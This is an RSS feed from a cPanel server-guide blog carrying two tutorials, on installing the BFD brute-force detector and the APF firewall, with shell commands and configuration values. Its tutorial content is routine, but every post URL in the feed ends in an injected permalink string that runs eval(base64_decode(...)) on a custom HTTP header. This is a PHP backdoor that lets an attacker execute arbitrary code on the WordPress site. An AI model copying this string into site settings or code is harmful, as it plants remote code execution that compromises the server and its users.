<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; firewall</title>
	<atom:link href="http://www.cpanelconfig.com/tag/firewall/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Install BFD &#8211; Brute Force Detection</title>
		<link>http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 11 Sep 2007 22:02:09 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[APF]]></category>
		<category><![CDATA[bdf]]></category>
		<category><![CDATA[Brute Force Detection]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/install-bfd-brute-force-detection/</guid>
		<description><![CDATA[



What is BFD?
BFD is a modular shell script for parsing applicable logs and checking for authentication failures. There is not much complexity or detail to BFD yet and likewise it is very straight-forward in its installation, configuration and usage. The reason behind BFD is very simple; the fact there is little to no authentication and [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is BFD?<br />
</strong>BFD is a modular shell script for parsing applicable logs and checking for authentication failures. There is not much complexity or detail to BFD yet and likewise it is very straight-forward in its installation, configuration and usage. The reason behind BFD is very simple; the fact there is little to no authentication and brute force auditing programs in the linux community that work in conjunction with a firewall or real-time facility to place bans.</p>
<p><strong>Install instructions</strong></p>
<p>Please note that you must have APF installed before you install BFD. The installation guide for APF is located <a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-apf-firewall/" title="Install APF">here</a>.</p>
<ol>
<li>Download and extract BFD</li>
<blockquote><p>wget http://www.r-fx.ca/downloads/bfd-current.tar.gz<br />
gzip -d bfd-current.tar.gz<br />
tar -xf bfd-current.tar</p></blockquote>
<li>Move to the extracted directory</li>
<blockquote><p>cd bfd-0.9/</p></blockquote>
<li>Run the installer</li>
<blockquote><p>./install.sh</p></blockquote>
<p>After the installer runs you should see something like<br />
<!--adsense--></p>
<blockquote><p>BFD installed<br />
Install path: /usr/local/bfd<br />
Config path: /usr/local/bfd/conf.bfd<br />
Executable path: /usr/local/sbin/bfd</p></blockquote>
<li>Edit the configuration files</li>
<blockquote><p>pico /usr/local/bfd/conf.bfd</p></blockquote>
<p>The only things that I suggest changing are:<br />
- ALERT_USR=&#8221;0&#8243; to ALERT_USR=&#8221;1&#8243;<br />
- EMAIL_USR=&#8221;root&#8221; to EMAIL_USR=&#8221;you@domain.com&#8221;</ol>
<p>BFD works by running a cron every 5 minutes to check for login attempts. You can customize the rules used for any of the monitored services by editing the appropriate rule located in /usr/local/bfd/rules</p>
<p>If you have any questions about BFD please leave a comment and I will try to answer each and every question.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Install APF firewall</title>
		<link>http://www.cpanelconfig.com/2007/09/09/install-apf-firewall/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/09/install-apf-firewall/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 09 Sep 2007 20:23:35 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[APF]]></category>
		<category><![CDATA[firewall]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/install-apf-firewall/</guid>
		<description><![CDATA[
What is APF?
Advanced Policy Firewall (APF) is an iptables(netfilter) based firewall system designed around the essential needs of today&#8217;s Internet deployed servers and the unique needs of custom deployed Linux installations. The configuration of APF is designed to be very informative and present the user with an easy to follow process, from top to bottom [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is APF?<br />
</strong>Advanced Policy Firewall (APF) is an iptables(netfilter) based firewall system designed around the essential needs of today&#8217;s Internet deployed servers and the unique needs of custom deployed Linux installations. The configuration of APF is designed to be very informative and present the user with an easy to follow process, from top to bottom of the configuration file. The management of APF on a day-to-day basis is conducted from the command line with the &#8216;apf&#8217; command, which includes detailed usage information and all the features one would expect from a current and forward thinking firewall solution.</p>
<p>APF is one of the best firewalls out there and is an important component in your server security. Every server should have a firewall installed !</p>
<p><strong>How to install APF</strong></p>
<ol>
<li>Download the package and extract the files</li>
<blockquote><p>wget http://www.r-fx.ca/downloads/apf-current.tar.gz<br />
gzip -d apf-current.tar.gz<br />
tar -xf apf-current.tar<br />
cd apf-0.9.6-2/</p></blockquote>
<li>Do the actual install</li>
<blockquote><p>./install.sh</p></blockquote>
<p>You will get something like</p>
<blockquote><p>Installing APF 0.9.6-2: Completed.</p>
<p>Installation Details:<br />
  Install path: /etc/apf/<br />
  Config path: /etc/apf/conf.apf<br />
  Executable path: /usr/local/sbin/apf<br />
  AntiDos install path: /etc/apf/ad/<br />
  AntiDos config path: /etc/apf/ad/conf.antidos<br />
  DShield Client Parser: /etc/apf/extras/dshield/</p>
<p>Other Details:<br />
  Listening TCP ports: 1,21,22,25,53,80,110,111,143,443,465,993,995,2082,2083,2086,2087,2095,2096,3306<br />
  Listening UDP ports: 53<br />
  Note: These ports are not auto-configured; they are simply presented for information purposes. You must manually configure all port options.</p></blockquote>
<li>You have to configure the firewall now</li>
<blockquote><p>pico /etc/apf/conf.apf</p></blockquote>
<p>I will only show you the basic configuration. APF is a very powerful firewall and you should read every setting carefully.<br />
We will limit inbound access ports. Locate in the /etc/apf/conf.apf the section &#8220;IG_TCP_CPORTS&#8221; and use the fallowing lines:</p>
<blockquote><p># Common ingress (inbound) TCP ports<br />
IG_TCP_CPORTS=&#8221;20,21,22,25,26,53,80,110,143,443,465,993,995,2082,2083,2086,2087,2089,2095,2096,3306,5432,61001_65535&#8243;</p>
<p># Common ingress (inbound) UDP ports<br />
IG_UDP_CPORTS=&#8221;21,53,465,873&#8243;</p></blockquote>
<p>NOTE! This is what I use for most servers and should also work well with your server but I provide no guarantee! If you have a custom ssh port or you run a server on a different port you should add that to IG_TCP_CPORTS or to IG_UDP_CPORTS.</p>
<li>Now it&#8217;s time to test the configuration. Do a apf restart:</li>
<blockquote><p>service apf restart</p></blockquote>
<p><!--adsense--><br />
Now test to see if everything is ok and that you can access all your services just fine.<br />
If everything is ok proceed to next step. You for some reason you get locked out just wait about 5 minutes as the firewall is set in test mode and will flash itself out after that period.<br />
Go back and check all the settings and then restart apf again.</p>
<li>Finalize the install</li>
<p>If everything is ok after the initial tests you have to set APF into &#8220;production&#8221; mode.<br />
Edit /etc/apf/conf.apf and change DEVEL_MODE=&#8221;1&#8243; to DEVEL_MODE=&#8221;0&#8243;<br />
Go ahead and restart apf one last time:</p>
<blockquote><p>service apf restart</p></blockquote>
</ol>
<p>For more information about apf configuration please feel free to consult <a href="http://rfxnetworks.com/appdocs/README.apf">http://rfxnetworks.com/appdocs/README.apf</a><br />
Please note that APF has a very nice log that you can check. For example you can tail the last 10 rows for this files</p>
<blockquote><p>tail -10 /var/log/apf_log</p></blockquote>
<p>If you what to deny IP 1.2.3.4 you have to run the command:</p>
<blockquote><p>apf -d 1.2.3.4 RESON</p></blockquote>
<p>Unbanning an IP can by done by running:</p>
<blockquote><p>apf -u 1.2.3.4</p></blockquote>
<p>Also banning and unbanning can be done by editing the file /etc/apf/deny_hosts.rules</p>
<blockquote><p>pico /etc/apf/deny_hosts.rules</p></blockquote>
<p>After you do any changes don&#8217;t forget to restart APF</p>
<blockquote><p>service apf restart</p></blockquote>
<p><!--adsense--></p>
<p>Hope this helps !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/09/install-apf-firewall/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
